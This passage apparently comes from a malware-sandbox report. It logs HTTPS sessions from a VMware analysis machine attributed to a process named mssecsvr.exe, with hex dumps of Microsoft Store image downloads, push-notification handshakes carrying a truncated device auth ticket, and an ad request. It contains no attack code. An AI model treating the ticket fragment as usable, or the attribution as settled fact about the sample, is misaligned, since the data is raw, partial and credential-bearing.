X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:07:28 GMT Connection: close
2022-07-20 17:07:29 UTC	472	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":{\"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.7	50396	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:30 UTC	476	OUT	GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-0ba9c0d9a24e?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:30 UTC	476	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Type: image/png Last-Modified: Fri, 03 Jun 2022 23:39:57 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUUxQzE0ODQ" MS-CV: khPkmUs4nEe0OA80.0 Access-Control-Expose-Headers: MS-CV Content-Length: 8562 Date: Wed, 20 Jul 2022 17:07:30 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:30 UTC	477	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 Data Ascii: PNGIHDR0tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49727	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:06:48 UTC	57	OUT	GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-6c55c1b655ff?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:06:49 UTC	66	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 3995 Content-Type: image/png Last-Modified: Thu, 31 Mar 2022 05:44:11 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0I1NEZGNzY" MS-CV: j3ZlnqhXhku72AJi.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:06:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:06:49 UTC	67	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 02 f7 50 4c 54 45 47 70 4c 1b 9d e1 1b 9d e2 1a 9b e1 19 99 de 19 96 dc 18 93 da 18 91 d7 16 8e d5 15 8c d3 15 89 cf 15 86 cd 14 85 cc 14 85 cb 0f 7f c7 1a 9c e2 1b 9d e2 1a 9c e1 1a 9b e0 1a 9a df 1a 99 df 19 98 de 19 97 dd 19 98 dd 19 97 dc 19 96 db 18 95 db 18 94 da 18 93 d9 18 92 d8 18 91 d7 18 90 d6 17 8f d6 17 8f d5 17 8f d5 17 8e d5 17 8d d4 17 8d d3 16 8c d3 16 8b d2 16 8a d1 15 89 d0 15 87 ce 15 88 cf 15 86 cd 16 87 ce 15 85 cc 14 85 cc 14 84 cb 15 84 cb 14 82 ca 18 95 db 18 95 da 18 94 d9 17 90 d6 18 8f d5 15 87 cf 16 88 cf 14 83 cc 14 83 ca 16 65 a2 1a 9c e1 17 91 d7 14 82 ca 14 82 ca 14 82 c9 15 8a d1 16 8b d1 14 81 c8 13 80 c8 13 80 c8 13 Data Ascii: PNGIHDR,,N~GPLTEGpLe

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	50533	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:38 UTC	485	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 65 61 61 34 35 32 61 66 33 64 37 66 66 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 6beaa452af3d7ffc
2022-07-20 17:07:38 UTC	485	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:07:38 UTC	485	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 65 61 61 34 35 32 61 66 33 64 37 66 66 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 6beaa452af3d7ffc<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:07:38 UTC	486	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 65 61 61 34 35 32 61 66 33 64 37 66 66 63 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 6beaa452af3d7ffc
2022-07-20 17:07:38 UTC	488	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:07:38 UTC	488	IN	Data Raw: 4d 53 2d 43 56 3a 20 57 58 31 62 4d 68 78 69 6d 30 79 30 33 59 56 62 45 59 74 6d 48 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: WX1bMhxim0y03YVbEYtmHQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	50534	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:38 UTC	486	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 32 37 65 39 31 36 62 38 34 31 38 61 33 66 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: e27e916b8418a3fe
2022-07-20 17:07:38 UTC	487	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:07:38 UTC	487	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 32 37 65 39 31 36 62 38 34 31 38 61 33 66 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: e27e916b8418a3fe<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:07:38 UTC	488	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 32 37 65 39 31 36 62 38 34 31 38 61 33 66 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: e27e916b8418a3fe<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:07:38 UTC	488	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:07:38 UTC	488	IN	Data Raw: 4d 53 2d 43 56 3a 20 4a 37 56 6b 62 52 6f 39 75 30 6d 39 62 68 46 2b 6c 39 61 66 4f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: J7VkbRo9u0m9bhF+l9afOA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	50640	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:43 UTC	488	OUT	GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-eaa96e2fdfd6?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:43 UTC	488	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 9623 Content-Type: image/png Last-Modified: Thu, 23 Jun 2022 15:41:01 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE1NTJFQzZERjk5NTc" MS-CV: zVjVB5uPz0aZ1aW/.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:43 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:43 UTC	489	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 09 70 48 59 73 00 00 19 d6 00 00 19 d6 01 18 d1 ca ed 00 00 13 56 49 44 41 54 78 9c ed 9d 0b 94 64 45 79 c7 bf aa ba b7 5f d3 33 3b cb cc be 58 e1 f0 38 26 8b ac 98 25 8b 08 64 89 c0 81 68 40 5e 41 11 5c 59 04 a2 1c 0f 09 1e 13 85 63 88 1b 14 25 06 cd 01 51 0f 1e 30 89 28 1c 93 48 10 08 18 24 60 08 22 20 0b 2c 08 e4 41 40 74 61 17 76 67 67 7a a6 df f7 51 95 ef ab aa db 3d 8b 31 c0 a5 1f de d9 fa ef e9 e9 db b7 7b ba ab ef fd cd ff fb aa ea bb b5 1e 38 39 a5 90 37 ec 06 38 65 53 0e 1c a7 54 72 e0 38 a5 92 03 c7 29 95 1c 38 4e a9 e4 c0 71 4a 25 07 8e 53 2a 39 70 9c 52 c9 81 e3 94 4a 0e 1c a7 54 72 e0 38 a5 92 03 c7 29 95 1c 38 4e a9 e4 c0 71 4a 25 07 Data Ascii: PNGIHDR0pHYsVIDATxdEy_3;X8&%dh@^A\Yc%Q0(H$`" ,A@tavggzQ=1{8978eSTr8)8NqJ%S*9pRJTr8)8NqJ%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	50668	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:44 UTC	498	OUT	GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-8e079298b84b?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:44 UTC	499	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 57945 Content-Type: image/png Last-Modified: Wed, 23 Mar 2022 12:32:12 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5MjdCN0IxQTc" MS-CV: ejMSje+zLkSN72MX.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:44 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:44 UTC	499	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 e2 20 49 44 41 54 78 9c ec bd 77 80 25 47 75 2f fc 3b d5 7d c3 e4 99 9d cd 41 da 55 96 50 ce 12 20 24 81 44 14 98 64 d2 c3 18 13 1c c0 0f 7f 36 f8 19 1b 07 1c 70 8e d8 04 63 8c 03 41 96 8c 79 20 a2 11 22 a3 9c d3 4a 2b 6d ce 93 67 6e ec ee aa f3 fd 51 1d aa bb ab fb de d9 5d 78 46 e8 68 74 b7 bb ba 72 d5 af 4e a8 44 b8 71 16 3f 6c a2 63 1d 1b 47 bf cb 8d 9c d3 fe cd 78 e2 c8 91 76 39 4a 8a a3 a2 63 1a ed d3 f4 14 22 f7 87 1b fd 51 c2 8f 72 38 a1 dc ef d1 e4 a7 24 9e 7c d2 a6 fb 91 a5 f8 34 0e 9f 26 1b 89 63 1c 1f 15 3c 2f 2b 86 4c 40 2e 70 ff e1 51 06 ea 66 d2 7c 74 d9 f8 91 15 e1 69 fa f1 a1 63 0d c2 0c cb 3a fa 18 e8 47 0b bf 12 8a b3 c1 e9 2c 2d 37 Data Ascii: PNGIHDR,," IDATxw%Gu/;}AUP $Dd6pcAy "J+mgnQ]xFhtrNDq?lcGxv9Jc"Qr8$\|4&c</+L@.pQf\|tic:G,-7
2022-07-20 17:07:44 UTC	515	IN	Data Raw: c3 d5 df 7b cb 05 df b8 63 cf 3f 7e 6d db 7e c9 4a 31 bc e0 d4 31 7a fe a9 55 77 81 9d 0a 93 60 7d 9a 40 34 20 45 a3 07 63 58 35 5f 39 ff 8d bf 5f f5 d3 98 5d 4c 9d 82 61 cd 7f 5e c8 8c 5b bc 48 c8 e2 9c 4b 39 65 64 a5 cc 88 6f 22 2a 93 81 bc d2 94 e9 75 66 b4 19 32 53 e9 49 25 43 03 95 83 b0 48 9a b0 3a 6a 38 94 a0 2e f6 53 12 55 2a 78 3a 8a 03 b3 58 6a 8d b4 e7 5f 71 fb c7 b6 1c 7a 34 5c 10 c6 14 fa 63 8c 8c aa d7 fc 2c 4f ac f2 41 04 11 10 1c 26 01 35 a4 3a 5d 0e 02 56 4c 15 97 05 1c 31 3b 54 bb ad ed 5d a0 30 a9 94 e4 e9 03 de 6d 77 23 02 48 bc 3b 90 63 a6 14 75 0b ad ee 39 57 fc 34 aa 83 d0 57 c9 73 b4 67 90 38 9c 99 10 c4 f7 dc 84 d9 e9 30 08 a2 b5 dc 71 61 f3 dd ab 27 02 cd ca 2a 69 cb c8 82 02 52 e4 48 67 c2 19 df 7d c0 bd e7 36 79 d1 b3 a4 d7 f6 Data Ascii: {c?~m~J11zUw`}@4 EcX5_9_]La^[HK9edo"uf2SI%CH:j8.SUx:Xj_qz4\c,OA&5:]VL1;T]0mw#H;cu9W4Wsg80qa'*iRHg}6y
2022-07-20 17:07:44 UTC	523	IN	Data Raw: 55 1a b3 58 fd 95 2f 09 1d 71 e1 24 8b 66 ee 73 d9 d5 9f 38 53 ef 94 ed 82 48 b7 34 23 ba 9a 2b d3 1b 72 2b ca 54 7a b3 45 c5 c5 e4 c8 92 3b f4 89 93 5e 13 27 48 15 27 3c 09 58 93 d2 d7 38 29 7f 6a 5a 2d 75 12 16 c2 49 4a cc 60 0e cb c9 c8 f6 da 70 b6 1f 88 36 f4 22 3c 0c 3b fa 8b 41 31 e5 8e 03 40 d5 35 6a 23 8d a8 bc 35 32 c3 1e 93 52 47 ad 96 e5 6c e6 2a a1 a8 fb 9a 55 94 8d ca 84 6b ba 8f 67 a0 9e 09 9e 81 1f 10 1a 36 33 64 e9 08 91 ee c4 94 88 ee 49 67 8c 21 f7 c3 00 5b 31 85 87 c3 9a 7d 2f 6e 3c 00 46 0f d4 64 ad 99 2c 1a b3 a3 63 d1 14 45 1e 7e 7d 14 9d 8d 2a 4b e6 58 0d 09 bb a7 29 2f db 27 0c 23 35 d2 e5 67 b3 52 cc 12 e5 a2 8a 93 36 3d ac 18 85 a0 ff bb e9 f9 53 f5 49 fd 5d 8c d4 23 8f fa 78 33 a5 4f 43 92 33 0b f9 ee 97 af 93 f4 78 48 f1 ca ed Data Ascii: UX/q$fs8SH4#+r+TzE;^'H'<X8)jZ-uIJ`p6"<;A1@5j#52RGlUkg63dIg![1}/n<Fd,cE~}KX)/'#5gR6=SI]#x3OC3xH
2022-07-20 17:07:44 UTC	539	IN	Data Raw: ca 01 5c 01 5b fa a2 04 5f 42 26 00 58 2c d1 06 4b 2c bf 7b c1 02 b7 91 26 e3 4a 03 e7 d0 0f e8 7a 58 1b cc 44 a9 1b d9 a5 86 89 8b 10 5c 63 55 fa ba c3 da ba e2 1d 03 ed 04 64 0e a6 47 88 9a f9 7c 6b 67 e7 4a d3 58 e7 dc c4 5a e7 1c f3 53 1b 5b b7 9c 39 b8 74 df 25 7a f8 e8 6d 78 f6 31 77 e6 b6 c0 7b fa eb df 7a b0 39 77 77 df be 18 fa 0e b0 2e 1c ae d6 0f 42 5e 0d c0 98 b4 ce 39 4b 04 30 9f 3c de 07 e7 30 ae e1 22 3f 28 c5 e3 1a 3d 02 87 33 8f 78 f4 81 0d e0 c0 f2 c0 35 a0 21 5a 6f d7 4e af 9f f9 ba a1 7f e8 d1 fd 27 fe e9 53 5f f7 7e 43 e4 78 3c 5d aa 69 8d 69 6e b8 fb d9 1f f8 f3 4b cf fc a9 a5 e9 4b c7 ee b9 eb 8b df 37 bd a7 31 8d 03 06 b0 03 7a f0 f0 9e 7b 1f fc 99 3f fc d6 c5 72 cf 8f 91 ca 30 30 22 99 d3 30 13 d4 2a d1 b9 b8 89 0c 64 55 4a d8 f4 Data Ascii: \[_B&X,K,{&JzXD\cUdG\|kgJXZS[9t%zmx1w{z9ww.B^9K0<0"?(=3x5!ZoN'S_~Cx<]iinKK71z{?r00"0*dUJ
2022-07-20 17:07:44 UTC	547	IN	Data Raw: e8 37 a2 ca 65 ae 5e 27 5d df 95 75 c3 b4 3d 4a 0b e8 20 58 12 9e 2a 5c e3 94 53 c1 97 02 52 eb 54 e4 70 64 04 55 fa 2b 19 90 8b aa e3 c7 73 72 4b 27 f5 2a 17 55 81 4b 29 c7 e1 72 a0 7e 61 76 cf 81 ed 4d e6 fc 3f 3d f2 2b 5f 67 9e 76 d6 b7 cf 00 a6 4d 1b 0b cd c4 eb 5e 33 f1 63 33 a6 51 9e 30 86 a3 c6 04 83 13 1b ea c2 02 a7 30 89 3f 9e 07 e5 ac 9f 2a 5c da e6 07 9f fc c9 4f ec 7e 1d 4f 37 dc da 76 22 b0 da 65 26 49 a3 1f 93 fc d7 02 7b 08 2a 51 66 6a 35 6f 94 dd 2b 9d 03 e9 0f c2 c4 7f e3 7d 5c d3 56 9b 34 0e 9c d0 ec 01 54 0a 32 ef 97 b1 4b bb 85 12 fe 28 22 19 cb 33 87 59 31 01 65 cf 47 d4 4e 65 d6 55 97 d0 55 19 2e 32 12 71 63 65 ea 54 2b dd e2 aa 55 ad ab 16 e7 e9 99 15 cb e1 08 71 89 a8 8e 10 9c 3c fb 87 54 28 11 95 df 48 64 c6 4b ac 33 8e af 3c 0e Data Ascii: 7e^']u=J X\SRTpdU+srK'UK)r~avM?=+_gvM^3c3Q00?\O~O7v"e&I{Qfj5o+}\V4T2K("3Y1eGNeUU.2qceT+Uq<T(HdK3<

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.7	50669	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:44 UTC	556	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020742Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f7706ec095734f248913178f2be18e87&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-280815&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: 